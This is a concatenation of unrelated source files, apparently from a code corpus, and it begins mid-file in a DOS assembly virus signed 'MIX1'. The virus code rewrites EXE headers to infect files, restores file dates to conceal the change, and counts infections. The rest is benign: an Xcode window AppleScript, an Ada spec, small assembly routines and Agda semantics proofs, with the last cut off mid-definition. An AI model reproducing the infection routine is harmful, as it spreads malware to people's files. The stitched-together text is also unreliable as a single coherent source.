MOV DS:ID[1EH],AX
;
; Modify length mod 512
;
ADD DS:[LEN_LO],OFFSET ID+4
JNC L14
INC DS:[LEN_HI]
L14: MOV AX,DS:[LEN_LO]
AND AX,511
MOV DS:ID[0AH],AX
;
; Modify number of blocks used
;
MOV DX,DS:[LEN_HI]
MOV AX,DS:[LEN_LO]
ADD AX,511
JNC L14A
INC DX
L14A: MOV AL,AH
MOV AH,DL
SHR AX,1
MOV DS:ID[0CH],AX
;
; Finally the modified header is written back to the start of the
; file.
;
QQQ: MOV AX,4200H
MOV CX,0 ; was XOR CX,CX
AND DX,CS:[CONST0] ; was XOR DX,DX
INT 21H
JC ENDIT
MOV AH,40H
MOV DX,OFFSET ID+8
MOV CX,1CH
INT 21H
;
; This part is new: Restore old date.
;
MOV DX,CS:[DATE1]
MOV CX,CS:[DATE2]
MOV AX,5701H
INT 21H
JC ENDIT
INC WORD PTR CS:[NOINF]
;
; Infection is finished - close the file and execute it
;
ENDIT: JMP L9
;
;
DW 0
VIDEOT: DW 0000H, 07D0H, 0B800H
DW 0000H, 07D0H, 0B800H
DW 0000H, 0FA0H, 0B800H
DW 0000H, 0FA0H, 0B800H
DW 0001H, 4000H, 0B800H
DW 0001H, 4000H, 0B800H
DW 0001H, 4000H, 0B800H
DW 0000H, 0FA0H, 0B000H
DW 0001H, 3E80H, 0B000H
DW 0001H, 7D00H, 0B000H
DW 0001H, 7D00H, 0B000H
DW 0002H, 0000H, 0000H
DW 0002H, 0000H, 0000H
DW 0001H, 7D00H, 0A000H
DW 0001H, 0FA00H, 0A000H
DW 0001H, 6D60H, 0A000H
DW 0002H, 0000H. 0000H
DW 0
ERRTAB DB 00H,01H,02H,03H,04H,05H,06H,07H,08H,09H,0BH,0AH,0CH,0DH,0EH,0FH
DB 10H,11H,12H,13H,14H,15H,16H,17H,18H,19H,1BH,1AH,1CH,1DH,1FH,1EH
DB 20H,21H,22H,23H,24H,25H,26H,27H,29H,28H,2AH,2DH,2CH,2BH,2EH,2FH
DB 30H,31H,32H,33H,34H,35H,36H,37H,38H,39H,3AH,3BH,3EH,3DH,3CH,3FH
DB 40H,42H,45H,43H,44H,41H,50H,47H,48H,59H,4AH,4BH,4CH,4DH,4EH,55H
DB 46H,51H,52H,53H,54H,4FH,56H,57H,58H,49H,5AH,5DH,5CH,5BH,5EH,5FH
DB 60H,65H,62H,73H,64H,61H,70H,67H,68H,65H,6AH,6BH,6CH,6DH,6EH,75H
DB 66H,71H,72H,63H,74H,6FH,76H,77H,78H,79H,7AH,7DH,7CH,7BH,7EH,7FH
DB 92H,81H,82H,83H,84H,85H,86H,8BH,9AH,89H,8AH,87H,8CH,8DH,8EH,8FH
DB 90H,99H,80H,93H,94H,95H,96H,97H,98H,91H,88H,9BH,9CH,9DH,9EH,9FH
DB 0A0H,0A1H,0A2H,0A3H,0A4H,0A5H,0A6H,0A7H,0A8H,0A9H,0BBH,0ABH,0ACH
DB 0B0H,0B1H,0B2H,0B3H,0B4H,0B5H,0B6H,0B7H,0B8H,0B9H,0BAH,0AAH,0D9H
DB 0C8H,0C1H,0C2H,0C3H,0C4H,0C5H,0C6H,0C7H,0C0H,0A9H,0CAH,0CBH,0CCH
DB 0D0H,0D1H,0D2H,0D3H,0D4H,0D5H,0D6H,0D7H,0D8H,0BCH,0DAH,0DBH,0DCH
DB 0E0H,0E1H,0E2H,0E3H,0E4H,0E5H,0E6H,0E7H,0E8H,0E9H,0EAH,0EBH,0ECH
DB 0F0H,0F1H,0F2H,0F3H,0F4H,0F5H,0F6H,0F7H,0F8H,0F9H,0FAH,0FBH,0FCH
CONST1 DB 1 ; Just the constant 1
CONST0 DW 0 ; The label says it all
MIN60 DB 0 ; Flag, set to 1 60 minutes after execution
MIN50 DB 0 ; Flag, set to 1 50 minutes after execution
VMODE DB 0 ; Video mode
MAXLIN DB 24
MYCOL DB 0 ; Position of ball on screen
MYLINE DB 0 ; ditto.
ONSCREEN DB ? ; Previous character on the screen
UPDOWN DB 0 ; Direction of ball (up or down)
LEFTRIGHT DB 0 ; Direction (left or right)
SCRCOL DB ?
SCRLINE DB ?
DATE1 DW ? ; Date of file
DATE2 DW ? ; ditto.
TIMER DW 0 ; Number of timer (INT 8) ticks
LEN_LO DW ?
LEN_HI DW ?
NOINF DW 0 ; Number of infections
ID LABEL WORD
DB "MIX1" ; The signature of the virus.
;
; A buffer, used for data from the file.
;
VIRUS ENDP
CODE ENDS
END LABEL
of the |
Services/Xcode Associated Window.applescript | shinyaohtani/AppleScriptForXcode | 0 | 176 | <reponame>shinyaohtani/AppleScriptForXcode<filename>Services/Xcode Associated Window.applescript
--
-- Created by: <NAME>
-- Created on: 2021/12/16
--
-- Copyright (C) 2021 <NAME>, All Rights Reserved
--
use AppleScript version "2.7" -- macOS 10.13 or later
use scripting additions
-- Version history
-- 2021-10-07 <EMAIL>
on run
-- get default display size
tell application "Finder"
tell (do shell script "/usr/sbin/system_profiler SPDisplaysDataType -json | grep -B 5 '\"spdisplays_main\" : \"spdisplays_yes\"' | grep _spdisplays_resolution | cut -d'\"' -f4") to set {scW, scH} to {word 1, word 3}
set spT to 60 -- top side space (menu bar height)
set spL to 10
set spR to 40
set spB to 20
set h to round of ((scH - spT - spB) / 1)
set w to round of ((scW - spL - spR) / 3)
set spColumnR to 10 -- distance between two neighbors (shift right to left)
set L to spL + w / 2
set boundsL to {L, spT, L + w, spT + h}
set L to spL + w / 2 + w + spColumnR
set boundsR to {L, spT, L + w, spT + h}
end tell
tell application "Xcode-13.2"
activate
delay 0.1
set origWin to front window
set wNth to fnameNthOfWname(version) of me
set cur_name to word wNth of (name of origWin as text)
set AppleScript's text item delimiters to "."
set seplist to every text item of cur_name
set task to false
set openAtLeft to false
if last item of seplist is "h" then
set fname to ((items 1 thru -2 of seplist) & "cpp") as string
set task to true
else if last item of seplist is "cpp" then
set fname to ((items 1 thru -2 of seplist) & "h") as string
set task to true
set openAtLeft to true
end if
if task is true then
tell application "System Events" to tell process "Xcode"
tell menu bar 1 to tell menu bar item "File"
pick menu item "Open Quickly…" of menu "File"
end tell
-- keystroke fname -- This break system if with modifier keys are pressed
set tmp to the clipboard
set the clipboard to fname
keystroke "v" using {command down}
delay 0.2
keystroke return using {option down}
set the clipboard to tmp
end tell
set newWin to front window
if openAtLeft is true then
set bounds of newWin to boundsL
set bounds of origWin to boundsR
else
set bounds of newWin to boundsR
set bounds of origWin to boundsL
end if
end if
end tell
end run
on fnameNthOfWname(xcode_ver)
# Before xcode 13.2, the win names were simple. Project names were not included.
# before 13.2: "myFile.h"
# or if it is edited and not saved "myFile.h -- edited"
# from 13.2: "Projname -- myFile.h" or "Projname -- myFile.h -- edited"
set nth to 2
set tmp to AppleScript's text item delimiters
set AppleScript's text item delimiters to "."
set v to (xcode_ver as string)
if number of (text items of v) ≥ 3 then # care sub-sub... version. ex 13.2.1
set v to ({(text item 1 of v) as string, (text item 2 of v) as string} as string)
end if
if (v as number) is less than 13.2 then # Before xcode 13.2, the win names were simple.
set nth to 1
end if
set AppleScript's text item delimiters to tmp
return nth
end fnameNthOfWname
|
mat/src/mat-readers-marshaller.ads | stcarrez/mat | 7 | 5700 | <reponame>stcarrez/mat<filename>mat/src/mat-readers-marshaller.ads<gh_stars>1-10
-----------------------------------------------------------------------
-- mat-readers-marshaller -- Marshalling of data in communication buffer
-- Copyright (C) 2014, 2015 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Strings.Unbounded;
with MAT.Types;
with MAT.Events;
package MAT.Readers.Marshaller is
Buffer_Underflow_Error : exception;
Buffer_Overflow_Error : exception;
-- Get an 8-bit value from the buffer.
function Get_Uint8 (Buffer : in Buffer_Ptr) return MAT.Types.Uint8;
-- Get a 16-bit value either from big-endian or little endian.
function Get_Uint16 (Buffer : in Buffer_Ptr) return MAT.Types.Uint16;
-- Get a 32-bit value either from big-endian or little endian.
function Get_Uint32 (Buffer : in Buffer_Ptr) return MAT.Types.Uint32;
-- Get a 64-bit value either from big-endian or little endian.
function Get_Uint64 (Buffer : in Buffer_Ptr) return MAT.Types.Uint64;
-- Extract a string from the buffer. The string starts with a byte that
-- indicates the string length.
function Get_String (Buffer : in Message_Type) return String;
-- Extract a string from the buffer. The string starts with a byte that
-- indicates the string length.
function Get_String (Msg : in Message_Type) return Ada.Strings.Unbounded.Unbounded_String;
generic
type Target_Type is mod <>;
function Get_Target_Value (Msg : in Message_Type;
Kind : in MAT.Events.Attribute_Type) return Target_Type;
function Get_Target_Size (Msg : in Message_Type;
Kind : in MAT.Events.Attribute_Type) return MAT.Types.Target_Size;
function Get_Target_Addr (Msg : in Message_Type;
Kind : in MAT.Events.Attribute_Type) return MAT.Types.Target_Addr;
function Get_Target_Uint32 (Msg : in Message_Type;
Kind : in MAT.Events.Attribute_Type) return MAT.Types.Uint32;
function Get_Target_Process_Ref (Msg : in Message_Type;
Kind : in MAT.Events.Attribute_Type)
return MAT.Types.Target_Process_Ref;
-- Skip the given number of bytes from the message.
procedure Skip (Buffer : in Message_Type;
Size : in Natural);
end MAT.Readers.Marshaller;
|
oeis/342/A342412.asm | neoneye/loda-programs | 11 | 170456 | ; A342412: a(n) = Sum_{k=1..n} (n/gcd(k,n))^(n-2).
; Submitted by <NAME>(s3)
; 1,2,7,37,501,2771,100843,1056833,28702189,401562757,23579476911,247792605523,21505924728445,340246521979079,15569565432876147,576478345026355201,45798768824157052689,728648310343004595593,98646963440126439346903
add $0,1
mov $2,$0
lpb $0
mov $3,$2
gcd $3,$0
sub $0,1
mov $4,$2
div $4,$3
mov $3,$4
mov $4,$2
sub $4,2
pow $3,$4
add $1,$3
lpe
mov $0,$1
|
programs/oeis/325/A325168.asm | jmorken/loda | 1 | 176455 | <gh_stars>1-10
; A325168: Number of integer partitions of n with origin-to-boundary graph-distance equal to 2.
; 0,0,0,1,3,5,8,9,12,13,16,17,20,21,24,25,28,29,32,33,36,37,40,41,44,45,48,49,52,53,56,57,60,61,64,65,68,69,72,73,76,77,80,81,84,85,88,89,92,93,96,97,100,101,104,105,108,109,112,113,116,117,120,121,124,125,128,129,132,133,136,137,140,141,144,145,148,149,152,153,156,157,160,161,164,165,168,169,172,173,176,177,180,181,184,185,188,189,192,193,196,197,200,201,204,205,208,209,212,213,216,217,220,221,224,225,228,229,232,233,236,237,240,241,244,245,248,249,252,253,256,257,260,261,264,265,268,269,272,273,276,277,280,281,284,285,288,289,292,293,296,297,300,301,304,305,308,309,312,313,316,317,320,321,324,325,328,329,332,333,336,337,340,341,344,345,348,349,352,353,356,357,360,361,364,365,368,369,372,373,376,377,380,381,384,385,388,389,392,393,396,397,400,401,404,405,408,409,412,413,416,417,420,421,424,425,428,429,432,433,436,437,440,441,444,445,448,449,452,453,456,457,460,461,464,465,468,469,472,473,476,477,480,481,484,485,488,489,492,493
trn $0,2
mov $3,$0
trn $0,1
mov $1,$3
mov $2,$0
mov $4,$0
lpb $2
sub $2,1
lpb $4
mov $4,2
lpe
add $1,$4
trn $2,1
lpe
|
MP/Assignment_7/a7.asm | pratt3000/PICT_SE-Labs | 3 | 12715 | <filename>MP/Assignment_7/a7.asm
%include "macro.asm"
section .data
message : db "~Sorting completed"
lenMessage : equ $-message
reqFile : db "File Name: "
lenReqFile : equ $-reqFile
space : db " "
newline : db 10d
errMsg : db "Error!"
lenErrMsg : equ $-errMsg
section .bss
fileName : resb 64
buffer : resb 8192
lenbuffer : equ $-buffer
fileDescriptor : resq 1
lenText : resq 1
array : resb 20
section .text
global _start
_start :
print reqFile,lenReqFile
read fileName,64
dec rax ;extra bit gets added
mov byte[fileName+rax], 0 ;0 is appended for EOF
fopen fileName
cmp rax, -1d
jle error ;for file DNE
mov [fileDescriptor],rax ;fileName is stored
fread [fileDescriptor], buffer, lenbuffer
mov [lenText], rax ;file content length
call processBuffer
call bubbleSort
call processArray
print buffer,[lenText]
fwrite [fileDescriptor],buffer,[lenText];
jmp exit
error:
print errMsg, lenErrMsg
exit:
fclose [fileDescriptor]
mov rax, 60
mov rdi, 0
syscall
processBuffer:
mov rcx, [lenText]
mov rsi, buffer
mov rdi, array
start0:; <<-------\
mov al, [rsi]; |
mov [rdi], al; |
; |
update0:; |
inc rsi; |
inc rdi; |
dec rcx; |
jnz start0; --------/
ret
bubbleSort:
mov rsi, 0h ;i = 0
mov rcx, [lenText]
dec rcx
outerLoop:
mov rdi, 0h ;j = 0
innerLoop:
mov rax, rdi ;j
inc rax ;j+1
mov bl, byte[array + rdi] ;array[j]
mov dl, byte[array + rax] ;array[j+1]
cmp bl, dl ;main compare
jnc skip0
mov byte[array + rdi], dl ;swap
mov byte[array + rax], bl ;swap
skip0:
inc rdi
cmp rdi, rcx
jb innerLoop
inc rsi
cmp rsi, rcx
jb outerLoop
ret
processArray:
mov rsi,array;
mov rdi,buffer;
mov rcx,[lenText];
begin1:
mov al,[rsi];
mov [rdi],al;
update1:
inc rsi;
inc rdi;
dec rcx;
jnz begin1
ret
|
New/FunctionLemmas.agda | inc-lc/ilc-agda | 10 | 16601 | module New.FunctionLemmas where
open import New.Changes
module BinaryValid
{A : Set} {{CA : ChAlg A}}
{B : Set} {{CB : ChAlg B}}
{C : Set} {{CC : ChAlg C}}
(f : A → B → C) (df : A → Ch A → B → Ch B → Ch C)
where
binary-valid-preserve-hp =
∀ a da (ada : valid a da)
b db (bdb : valid b db)
→ valid (f a b) (df a da b db)
binary-valid-eq-hp =
∀ a da (ada : valid a da)
b db (bdb : valid b db)
→ (f ⊕ df) (a ⊕ da) (b ⊕ db) ≡ f a b ⊕ df a da b db
binary-valid :
binary-valid-preserve-hp →
binary-valid-eq-hp →
valid f df
binary-valid ext-valid proof a da ada =
(λ b db bdb → ext-valid a da ada b db bdb , lem2 b db bdb)
, ext lem1
where
lem1 : ∀ b → f (a ⊕ da) b ⊕ df (a ⊕ da) (nil (a ⊕ da)) b (nil b) ≡
f a b ⊕ df a da b (nil b)
lem1 b
rewrite sym (update-nil b)
| proof a da ada b (nil b) (nil-valid b)
| update-nil b = refl
lem2 : ∀ b (db : Ch B) (bdb : valid b db) →
f a (b ⊕ db) ⊕ df a da (b ⊕ db) (nil (b ⊕ db)) ≡
f a b ⊕ df a da b db
lem2 b db bdb
rewrite sym (proof a da ada (b ⊕ db) (nil (b ⊕ db)) (nil-valid (b ⊕ db)))
| update-nil (b ⊕ db) = proof a da ada b db bdb
module TernaryValid
{A : Set} {{CA : ChAlg A}}
{B : Set} {{CB : ChAlg B}}
{C : Set} {{CC : ChAlg C}}
{D : Set} {{CD : ChAlg D}}
(f : A → B → C → D) (df : A → Ch A → B → Ch B → C → Ch C → Ch D)
where
ternary-valid-preserve-hp =
∀ a da (ada : valid a da)
b db (bdb : valid b db)
c dc (cdc : valid c dc)
→ valid (f a b c) (df a da b db c dc)
-- These are explicit definitions only to speed up typechecking.
CA→B→C→D : ChAlg (A → B → C → D)
CA→B→C→D = funCA
f⊕df = (_⊕_ {{CA→B→C→D}} f df)
-- Already this definition takes a while to typecheck.
ternary-valid-eq-hp =
∀ a (da : Ch A {{CA}}) (ada : valid {{CA}} a da)
b (db : Ch B {{CB}}) (bdb : valid {{CB}} b db)
c (dc : Ch C {{CC}}) (cdc : valid {{CC}} c dc)
→ f⊕df (a ⊕ da) (b ⊕ db) (c ⊕ dc) ≡ f a b c ⊕ df a da b db c dc
ternary-valid :
ternary-valid-preserve-hp →
ternary-valid-eq-hp →
valid f df
ternary-valid ext-valid proof a da ada =
binary-valid
(λ b db bdb c dc cdc → ext-valid a da ada b db bdb c dc cdc)
lem2
, ext (λ b → ext (lem1 b))
where
open BinaryValid (f a) (df a da)
lem1 : ∀ b c → f⊕df (a ⊕ da) b c ≡ (f a ⊕ df a da) b c
lem1 b c
rewrite sym (update-nil b)
| sym (update-nil c)
|
proof
a da ada
b (nil b) (nil-valid b)
c (nil c) (nil-valid c)
| update-nil b
| update-nil c = refl
-- rewrite
-- sym
-- (proof
-- (a ⊕ da) (nil (a ⊕ da)) (nil-valid (a ⊕ da))
-- b (nil b) (nil-valid b)
-- c (nil c) (nil-valid c))
-- | update-nil (a ⊕ da)
-- | update-nil b
-- | update-nil c = {! !}
lem2 : ∀ b db (bdb : valid b db)
c dc (cdc : valid c dc) →
(f a ⊕ df a da) (b ⊕ db) (c ⊕ dc)
≡ f a b c ⊕ df a da b db c dc
lem2 b db bdb c dc cdc
rewrite sym
(proof
a da ada
(b ⊕ db) (nil (b ⊕ db)) (nil-valid (b ⊕ db))
(c ⊕ dc) (nil (c ⊕ dc)) (nil-valid (c ⊕ dc))
)
| update-nil (b ⊕ db)
| update-nil (c ⊕ dc) = proof a da ada b db bdb c dc cdc
|
libsrc/_DEVELOPMENT/arch/ts2068/display/z80/asm_tshc_aaddrcup.asm | RC2014Z80/z88dk | 8 | 173568 | ; ===============================================================
; May 2017
; ===============================================================
;
; void *tshc_aaddrcup(void *saddr)
;
; Modify attribute address to move up one character (eight pixels)
;
; ===============================================================
SECTION code_clib
SECTION code_arch
PUBLIC asm_tshc_aaddrcup
EXTERN asm_zx_saddrcup
asm_tshc_aaddrcup = asm_zx_saddrcup
|
alloy4fun_models/trashltl/models/11/sFweK3s7qY7e5vRx5.als | Kaixi26/org.alloytools.alloy | 0 | 3548 | open main
pred idsFweK3s7qY7e5vRx5_prop12 {
eventually some f:File | f not in Trash implies f in Trash since f in Trash
}
pred __repair { idsFweK3s7qY7e5vRx5_prop12 }
check __repair { idsFweK3s7qY7e5vRx5_prop12 <=> prop12o } |
programs/oeis/260/A260699.asm | neoneye/loda | 22 | 168517 | <filename>programs/oeis/260/A260699.asm
; A260699: a(2n+6) = a(2n) + 12*n + 20, a(2n+1) = (n+1)*(2*n+1), with a(0)=0, a(2)=2, a(4)=9.
; 0,1,2,6,9,15,20,28,34,45,53,66,76,91,102,120,133,153,168,190,206,231,249,276,296,325,346,378,401,435,460,496,522,561,589,630,660,703,734,780,813,861,896,946,982,1035,1073
mov $1,$0
add $1,3
div $1,2
add $1,$0
mul $1,$0
div $1,3
mov $0,$1
|
programs/oeis/183/A183033.asm | neoneye/loda | 22 | 165463 | ; A183033: Minute with hour hand overlap problem on analog clock. Fractions of seconds.
; 0,3,6,9,1,4,7,10,2,5,8
mul $0,3
mod $0,11
|
Library/SpecUI/CommonUI/CSpec/cspecSpinGadget.asm | steakknife/pcgeos | 504 | 172800 | COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1988 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: CommonUI/CSpec (common code for several specific ui's)
FILE: cspecSpinGadget.asm
ROUTINES:
Name Description
---- -----------
GLB OLBuildSpinGadget Convert a generic spin gadget to OL equivalent
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 12/89 Initial file
DESCRIPTION:
This file contains routines to handle the Open Look implementation
of a generic spin gadget.
$Id: cspecSpinGadget.asm,v 1.1 97/04/07 10:50:55 newdeal Exp $
------------------------------------------------------------------------------@
Nuked. 7/22/92 cbh
|
core/lib/groups/Unit.agda | cmknapp/HoTT-Agda | 0 | 13981 | <filename>core/lib/groups/Unit.agda
{-# OPTIONS --without-K #-}
open import lib.Basics
open import lib.types.Group
open import lib.types.Unit
open import lib.groups.Homomorphisms
open import lib.groups.Lift
module lib.groups.Unit where
Unit-group-structure : GroupStructure Unit
Unit-group-structure = record
{ ident = unit
; inv = λ _ → unit
; comp = λ _ _ → unit
; unitl = λ _ → idp
; unitr = λ _ → idp
; assoc = λ _ _ _ → idp
; invr = λ _ → idp
; invl = λ _ → idp
}
Unit-group : Group lzero
Unit-group = group _ Unit-is-set Unit-group-structure
Lift-Unit-group : ∀ {i} → Group i
Lift-Unit-group = Lift-group Unit-group
0ᴳ = Lift-Unit-group
contr-is-0ᴳ : ∀ {i} (G : Group i) → is-contr (Group.El G) → G == 0ᴳ
contr-is-0ᴳ G pA = group-ua
(group-hom (λ _ → lift unit) (λ _ _ → idp) , snd (contr-equiv-LiftUnit pA))
0ᴳ-hom-out-level : ∀ {i j} {G : Group i}
→ is-contr (0ᴳ {j} →ᴳ G)
0ᴳ-hom-out-level {G = G} =
(cst-hom ,
λ φ → hom= _ _ (λ= (λ {(lift unit) → ! (GroupHom.pres-ident φ)})))
0ᴳ-hom-in-level : ∀ {i j} {G : Group i}
→ is-contr (G →ᴳ 0ᴳ {j})
0ᴳ-hom-in-level {G = G} =
(cst-hom , λ φ → hom= _ _ (λ= (λ _ → idp)))
|
Basic/BigStep.agda | AndrasKovacs/SemanticsWithApplications | 8 | 13482 | <reponame>AndrasKovacs/SemanticsWithApplications
module Basic.BigStep where
import Data.Bool as Bool using (not)
open import Data.Bool hiding (not; if_then_else_)
open import Data.Empty
open import Data.Fin using (Fin; suc; zero; #_)
open import Data.Nat
open import Data.Nat.Properties.Simple
open import Data.Vec
open import Function
open import Relation.Nullary
open import Relation.Binary.PropositionalEquality
open import Data.Product
import Level as L
open import Utils.Decidable
open import Utils.NatOrdLemmas
open import Basic.AST
{-
The big-step semantics of the while language. It's chapter 2.1 in the book.
Note that we use a {n : ℕ} parameter to fix the size of the program state over
our derivations. This is fine since we don't have any derivation rule that
changes the size of the state.
The definitions themselves should come as no surprise to readers of the book.
I employ some syntactic shenanigans to make the definitions visually similar to the familiar
sequent/natural calculus notation (I borrow the formatting style from Conor McBride).
-}
infixr 4 _,_
data ⟨_,_⟩⟱_ {n : ℕ} : St n → State n → State n → Set where
{- "[ x ]≔ value" is just the standard library definition of vector update -}
ass :
∀ {s x a}
→ ------------------------------------
⟨ x := a , s ⟩⟱ (s [ x ]≔ ⟦ a ⟧ᵉ s)
skip :
∀ {s}
→ -----------------
⟨ skip , s ⟩⟱ s
_,_ :
∀ {s₁ s₂ s₃ S₁ S₂} →
⟨ S₁ , s₁ ⟩⟱ s₂ → ⟨ S₂ , s₂ ⟩⟱ s₃
→ -------------------------------------
⟨ (S₁ , S₂ ) , s₁ ⟩⟱ s₃
{- The "T" in "T (⟦ b ⟧ᵉ s)" can be found in Data.Bool.Base. It's ⊤ on a true argument
and ⊥ on a false argument, so it just lifts boolean values to proofs.
"F" works the same way, except it's provable on a false argument -}
if-true :
∀ {s s' S₁ S₂ b} →
T (⟦ b ⟧ᵉ s) → ⟨ S₁ , s ⟩⟱ s'
→ -----------------------------------
⟨ if b then S₁ else S₂ , s ⟩⟱ s'
if-false :
∀ {s s' S₁ S₂ b} →
F (⟦ b ⟧ᵉ s) → ⟨ S₂ , s ⟩⟱ s'
→ -----------------------------------
⟨ if b then S₁ else S₂ , s ⟩⟱ s'
while-true :
∀ {s s' s'' S b} →
T (⟦ b ⟧ᵉ s) → ⟨ S , s ⟩⟱ s' → ⟨ while b do S , s' ⟩⟱ s''
→ ----------------------------------------------------------------
⟨ while b do S , s ⟩⟱ s''
while-false :
∀ {s S b} →
F (⟦ b ⟧ᵉ s)
→ ------------------------
⟨ while b do S , s ⟩⟱ s
{-
Example program and program derivation below.
Note the magnificient de Bruijn variables.
Program derivations are really slow to typecheck.
Brave souls may want to uncomment it and give it a try.
But other than that, we may should that the derivations look pretty clean and concise.
There's lots of details that Agda's inference can fill in for us.
-}
private
prog : St 3
prog =
# 2 := lit 0 ,
while lte (var (# 1)) (var (# 0)) do
( # 2 := add (var (# 2)) (lit 1) ,
# 0 := sub (var (# 0)) (var (# 1)) )
-- -- uncomment if you dare
-- prog-deriv :
-- ∀ {z} → ⟨ prog , 17 ∷ 5 ∷ z ∷ [] ⟩⟱ (2 ∷ 5 ∷ 3 ∷ [])
-- prog-deriv =
-- ass ,
-- while-true tt (ass , ass)
-- (while-true tt (ass , ass)
-- (while-true tt (ass , ass)
-- (while-false tt)))
{- A program diverges on a state if there is no derivation starting from it
Since this is big-step semantics, we can't distinguish this from being stuck -}
_divergesOnₙ_ : ∀ {n} → St n → State n → Set
prog divergesOnₙ s = ∀ {s'} → ¬ ⟨ prog , s ⟩⟱ s'
{- A program is divergent if it diverges on all states -}
Divergentₙ : ∀ {n} → St n → Set
Divergentₙ prog = ∀ {s} → prog divergesOnₙ s
{-
The fun thing about the following proof of divergence is that we implicitly
rely on the finiteness of Agda data. Since we have apparent infinite recursion
in the proof, but all inductive Agda data are finite, this implies that no such
derivation may exist in the first place.
-}
private
inf-loopₙ : ∀ {n} → Divergentₙ {n} (while tt do skip)
inf-loopₙ (while-true x skip p₁) = inf-loopₙ p₁
inf-loopₙ (while-false x) = x
-- Semantic equivalence
_⇔_ : ∀ {a b} → Set a → Set b → Set (a L.⊔ b)
A ⇔ B = (A → B) × (B → A)
SemanticEq : ∀ {n} → St n → St n → Set
SemanticEq pa pb = ∀ {s s'} → ⟨ pa , s ⟩⟱ s' ⇔ ⟨ pb , s ⟩⟱ s'
Semantic⇒ : ∀ {n} → St n → St n → Set
Semantic⇒ pa pb = ∀ {s s'} → ⟨ pa , s ⟩⟱ s' → ⟨ pb , s ⟩⟱ s'
private
-- "while b do S" is equivalent to "if b then (S , while b do S) else skip"
prog1 : ∀ {n} _ _ → St n
prog1 b S = while b do S
prog2 : ∀ {n} _ _ → St n
prog2 b S = if b then (S , while b do S) else skip
progeq : ∀ {n b S} → SemanticEq {n} (prog1 b S) (prog2 b S)
progeq {n}{b}{S} = to , from
where
to : Semantic⇒ (prog1 b S) (prog2 b S)
to (while-true x p1 p2) = if-true x (p1 , p2)
to (while-false x) = if-false x skip
from : Semantic⇒ (prog2 b S) (prog1 b S)
from (if-true x (p1 , p2)) = while-true x p1 p2
from (if-false x skip) = while-false x
-- The semantics is deterministic. Not much to comment on.
deterministic :
∀ {n}{p : St n}{s s' s''} → ⟨ p , s ⟩⟱ s' → ⟨ p , s ⟩⟱ s'' → s' ≡ s''
deterministic = go where
go : ∀ {p s s' s''} → ⟨ p , s ⟩⟱ s' → ⟨ p , s ⟩⟱ s'' → s' ≡ s''
go ass ass = refl
go skip skip = refl
go (p1 , p2) (p3 , p4) rewrite go p1 p3 | go p2 p4 = refl
go (if-true x p1) (if-true x₁ p2) rewrite go p1 p2 = refl
go (if-true x p1) (if-false x₁ p2) rewrite T→≡true x = ⊥-elim x₁
go (if-false x p1) (if-true x₁ p2) rewrite T→≡true x₁ = ⊥-elim x
go (if-false x p1) (if-false x₁ p2) rewrite go p1 p2 = refl
go (while-true x p1 p2) (while-true x₁ p3 p4) rewrite go p1 p3 | go p2 p4 = refl
go (while-true x p1 p2) (while-false x₁) rewrite T→≡true x = ⊥-elim x₁
go (while-false x) (while-true x₁ p2 p3) rewrite T→≡true x₁ = ⊥-elim x
go (while-false x) (while-false x₁) = refl
{-
Below is a proof that is not contained in the book. I did it to familiarize myself
with the style of proving in this semantics.
It proves that if we have a derivation for a loop, then we can construct a
derivation for a loop that goes on for one more iteration, because it has
a higher bound in the condition.
However, if we start out with a loop index that is already greater then the
loop bound, we get divergence. But just having a derivation as hypothesis
rules out divergence! We can show this to Agda by proving the divergence in that
case and getting a contradiction.
-}
private
loop : St 2
loop =
while not (eq (var (# 0)) (var (# 1))) do
(# 0 := add (lit 1) (var (# 0)))
once-more :
∀ { i₀ lim₀ i₁} →
⟨ loop , i₀ ∷ lim₀ ∷ [] ⟩⟱ (i₁ ∷ lim₀ ∷ [])
→ ⟨ loop , i₀ ∷ suc lim₀ ∷ [] ⟩⟱ (1 + i₁ ∷ suc lim₀ ∷ [])
once-more {i₀}{lim₀} p with cmp i₀ lim₀
once-more (while-true x₁ ass p₁) | LT x =
while-true (¬A→FalseA $ a<b⟶a≢sb _ _ x) ass (once-more p₁)
once-more (while-false x₁) | LT x
rewrite TrueA→A $ F-not-elim x₁
= ⊥-elim (a≮a _ x)
once-more (while-true x p p₁) | EQ refl =
⊥-elim (FalseA→¬A x refl)
once-more (while-false x) | EQ refl =
while-true (¬A→FalseA $ a≢sa _) ass (while-false (F-not-add $ A→TrueA refl))
once-more p | GT x =
⊥-elim (diverges x p)
where
diverges : ∀ {i₀ lim₀} → lim₀ < i₀ → loop divergesOnₙ (i₀ ∷ lim₀ ∷ [])
diverges p1 (while-true x ass p3) = diverges (<-weakenr1 _ _ p1) p3
diverges p1 (while-false x) rewrite TrueA→A $ F-not-elim x = a≮a _ p1
{-
Correctness of a factorial program.
This task made me ponder the nature of meta- and object languages a bit.
Our job here is to prove that the factorial program computes a factorial. But in order to
be able to state this property, we had to define the notion of factorial in Agda. But this
Agda ⟦fac⟧ function is already executable! Luckily for us, Agda and Coq and co. already
have computational meaning. So if our goal is to simply have a correct factorial program,
then we should just write it in Agda or Coq (although neither supports software development
in an acceptable manner, unfortunately).
Some languages are just better as metalanguages, but if those metalanguages are also
satisfactory as object languages then we might make do with just a single
language, instead of multiple languages and multiple semantics.
Turning back to the actual proof, note that unlike the manual factorial proof in
Chapter 6.1 of the book, this one looks pretty neat and it's also concise.
It's also structurally similar to the program itself.
-}
module Fac where
⟦fac⟧ : ℕ → ℕ
⟦fac⟧ zero = 1
⟦fac⟧ (suc n) = suc n * ⟦fac⟧ n
fac-loop : St 3
fac-loop =
while lt (var (# 1)) (var (# 0)) do
(# 1 := add (lit 1) (var (# 1)) ,
# 2 := mul (var (# 1)) (var (# 2)) )
fac : St 3
fac =
# 1 := lit 0 ,
# 2 := lit 1 ,
fac-loop
fac-loop-ok :
∀ d i
